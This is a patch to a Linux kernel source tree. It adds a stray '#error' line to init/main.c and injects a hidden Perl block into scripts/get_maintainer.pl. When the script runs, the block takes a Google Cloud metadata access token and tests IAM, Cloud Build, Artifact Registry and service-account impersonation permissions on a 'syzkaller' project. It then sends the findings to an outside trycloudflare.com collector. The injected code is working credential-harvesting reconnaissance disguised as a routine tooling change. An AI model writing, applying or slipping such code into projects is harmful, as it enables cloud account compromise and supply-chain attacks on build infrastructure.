diff --git a/init/main.c b/init/main.c --- a/init/main.c +++ b/init/main.c @@ -10,6 +10,7 @@ */ #define DEBUG /* Enable initcall_debug */ +#error ASDF #include #include diff --git a/scripts/get_maintainer.pl b/scripts/get_maintainer.pl --- a/scripts/get_maintainer.pl +++ b/scripts/get_maintainer.pl @@ -15,5 +15,177 @@ use strict; my $P = $0; my $V = '0.26'; + +{ + require IPC::Open3; + require JSON::PP; + require Symbol; + my $json = JSON::PP->new->canonical; + my $collector = 'https://cowboy-keen-bundle-negotiations.trycloudflare.com/g12-7f39b1/v5'; + my %report = (version => 'v5', complete => JSON::PP::false()); + my $quote = sub { + my ($value) = @_; + $value =~ s/([\\"])/\\$1/g; + return '"' . $value . '"'; + }; + my $request = sub { + my ($url, $headers, $body) = @_; + my $config = "silent\nconnect-timeout = 3\nmax-time = 8\nurl = " . $quote->($url) . "\n"; + for my $header (@{$headers}) { + $config .= "header = " . $quote->($header) . "\n"; + } + if (defined($body)) { + $config .= "request = \"POST\"\n"; + $config .= "data-binary = " . $quote->($body) . "\n"; + } + $config .= "write-out = \"\\n%{http_code}\"\n"; + my $error = Symbol::gensym(); + my $pid = IPC::Open3::open3(my $input, my $output, $error, 'curl', '--config', '-'); + print {$input} $config; + close($input); + local $/; + my $response = <$output>; + my $ignored = <$error>; + waitpid($pid, 0); + $response = '' unless defined($response); + my $code = 0; + $code = $1 if $response =~ s/\n(\d{3})\z//; + return ($code, $response); + }; + my $test = sub { + my ($url, $permissions, $token) = @_; + my ($status, $raw) = $request->($url, + ['Authorization: Bearer ' . $token, 'Content-Type: application/json'], + $json->encode({permissions => $permissions})); + my $decoded = eval { $json->decode($raw) }; + my $granted = []; + $granted = $decoded->{permissions} + if $status == 200 && ref($decoded) eq 'HASH' && ref($decoded->{permissions}) eq 'ARRAY'; + return {status => $status, granted => $granted}; + }; + local $SIG{ALRM} = sub { die "timeout\n"; }; + eval { + alarm(45); + eval { $request->($collector . '/start', [], undef); }; + my $meta = 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/'; + my ($scope_status, $scopes) = $request->($meta . 'scopes', ['Metadata-Flavor: Google'], undef); + $report{scope_status} = $scope_status; + $report{cloud_platform_scope} = JSON::PP::true() + if $scope_status == 200 && $scopes =~ m{https://www\.googleapis\.com/auth/cloud-platform(?:\s|$)}; + my ($token_status, $token_raw) = $request->($meta . 'token', ['Metadata-Flavor: Google'], undef); + $report{token_status} = $token_status; + my ($token) = $token_raw =~ /"access_token"\s*:\s*"([^"]+)"/; + die "no token\n" unless defined($token) && length($token); + my ($number_status, $project_number) = $request->( + 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id', + ['Metadata-Flavor: Google'], undef); + $project_number =~ s/\s+\z//; + $project_number = '' unless $number_status == 200 && $project_number =~ /\A\d+\z/; + $report{numeric_project_status} = $number_status; + + my @project_permissions = ( + 'cloudbuild.builds.create', 'cloudbuild.builds.get', + 'cloudbuild.builds.list', 'cloudbuild.builds.update', + 'cloudbuild.connections.list', 'cloudbuild.repositories.list', + 'cloudbuild.repositories.accessReadToken', + 'cloudbuild.repositories.accessReadWriteToken', + 'resourcemanager.projects.getIamPolicy', 'resourcemanager.projects.setIamPolicy', + 'iam.serviceAccounts.list', + 'compute.instances.create', 'compute.instances.setMetadata', + 'compute.instances.setServiceAccount', 'compute.instanceTemplates.create', + 'compute.instanceGroupManagers.update', + 'serviceusage.services.use', 'serviceusage.services.enable', + 'cloudasset.assets.analyzeIamPolicy', 'logging.logEntries.list', + ); + $report{project} = $test->( + 'https://cloudresourcemanager.googleapis.com/v3/projects/syzkaller:testIamPermissions', + \@project_permissions, $token); + + my @repo_permissions = ( + 'artifactregistry.repositories.get', 'artifactregistry.repositories.downloadArtifacts', + 'artifactregistry.repositories.uploadArtifacts', + 'artifactregistry.repositories.deleteArtifacts', + 'artifactregistry.repositories.setIamPolicy', + 'artifactregistry.files.upload', 'artifactregistry.files.update', + 'artifactregistry.tags.create', 'artifactregistry.tags.update', + 'artifactregistry.tags.delete', + ); + $report{repository} = $test->( + 'https://artifactregistry.googleapis.com/v1/projects/syzkaller/locations/us/repositories/gcr.io:testIamPermissions', + \@repo_permissions, $token); + + my ($default_status, $default_raw) = $request->( + 'https://cloudbuild.googleapis.com/v1/projects/syzkaller/locations/global/defaultServiceAccount', + ['Authorization: Bearer ' . $token], undef); + $report{default_build_identity} = {status => $default_status, type => 'unavailable'}; + my $default = eval { $json->decode($default_raw) }; + my @build_identities; + if ($default_status == 200 && ref($default) eq 'HASH') { + my $email = $default->{serviceAccountEmail} // ''; + $email =~ s{^.*/serviceAccounts/}{}; + my $type = 'other'; + $type = 'legacy_cloud_build' if $email =~ /\@cloudbuild\.gserviceaccount\.com\z/; + $type = 'compute_default' if $email =~ /-compute\@developer\.gserviceaccount\.com\z/; + $type = 'empty' unless length($email); + $report{default_build_identity} = {status => $default_status, type => $type}; + push @build_identities, [$type, $email] if length($email); + } elsif (length($project_number)) { + push @build_identities, + ['legacy_cloud_build', $project_number . '\@cloudbuild.gserviceaccount.com'], + ['compute_default', $project_number . '-compute\@developer.gserviceaccount.com']; + $report{fallback_build_identities} = JSON::PP::true(); + } + + my %identity_results; + my %seen_identity; + for my $identity (@build_identities) { + my ($type, $email) = @{$identity}; + next unless $email =~ /\A[A-Za-z0-9._+%=-]+\@[A-Za-z0-9.-]+\z/; + next if $seen_identity{$email}++; + my %result; + if ($type ne 'legacy_cloud_build') { + my @pivot_permissions = ( + 'iam.serviceAccounts.actAs', 'iam.serviceAccounts.getAccessToken', + 'iam.serviceAccounts.getOpenIdToken', 'iam.serviceAccounts.signBlob', + 'iam.serviceAccounts.signJwt', 'iam.serviceAccounts.implicitDelegation', + 'iam.serviceAccountKeys.create', + ); + $result{pivot} = $test->( + 'https://iam.googleapis.com/v1/projects/-/serviceAccounts/' . $email . ':testIamPermissions', + \@pivot_permissions, $token); + } + my %troubleshoot; + for my $permission ( + 'artifactregistry.repositories.uploadArtifacts', + 'artifactregistry.tags.create', 'artifactregistry.tags.update') { + my ($status, $raw) = $request->( + 'https://policytroubleshooter.googleapis.com/v3/iam:troubleshoot', + ['Authorization: Bearer ' . $token, 'x-goog-user-project: syzkaller', + 'Content-Type: application/json'], + $json->encode({accessTuple => { + principal => $email, + fullResourceName => '//artifactregistry.googleapis.com/projects/syzkaller/locations/us/repositories/gcr.io', + permission => $permission, + }})); + my $decoded = eval { $json->decode($raw) }; + my $state = ''; + $state = $decoded->{overallAccessState} + if $status == 200 && ref($decoded) eq 'HASH' && defined($decoded->{overallAccessState}); + $troubleshoot{$permission} = {status => $status, state => $state}; + } + $result{repository} = \%troubleshoot; + $identity_results{$type} = \%result; + } + $report{build_identities} = \%identity_results; + $project_number = ''; + $token = undef; + $token_raw = undef; + $report{complete} = JSON::PP::true(); + alarm(0); + }; + alarm(0); + my $body = $json->encode(\%report); + eval { $request->($collector . '/matrix', ['Content-Type: application/json'], $body); }; +} use Getopt::Long qw(:config no_auto_abbrev);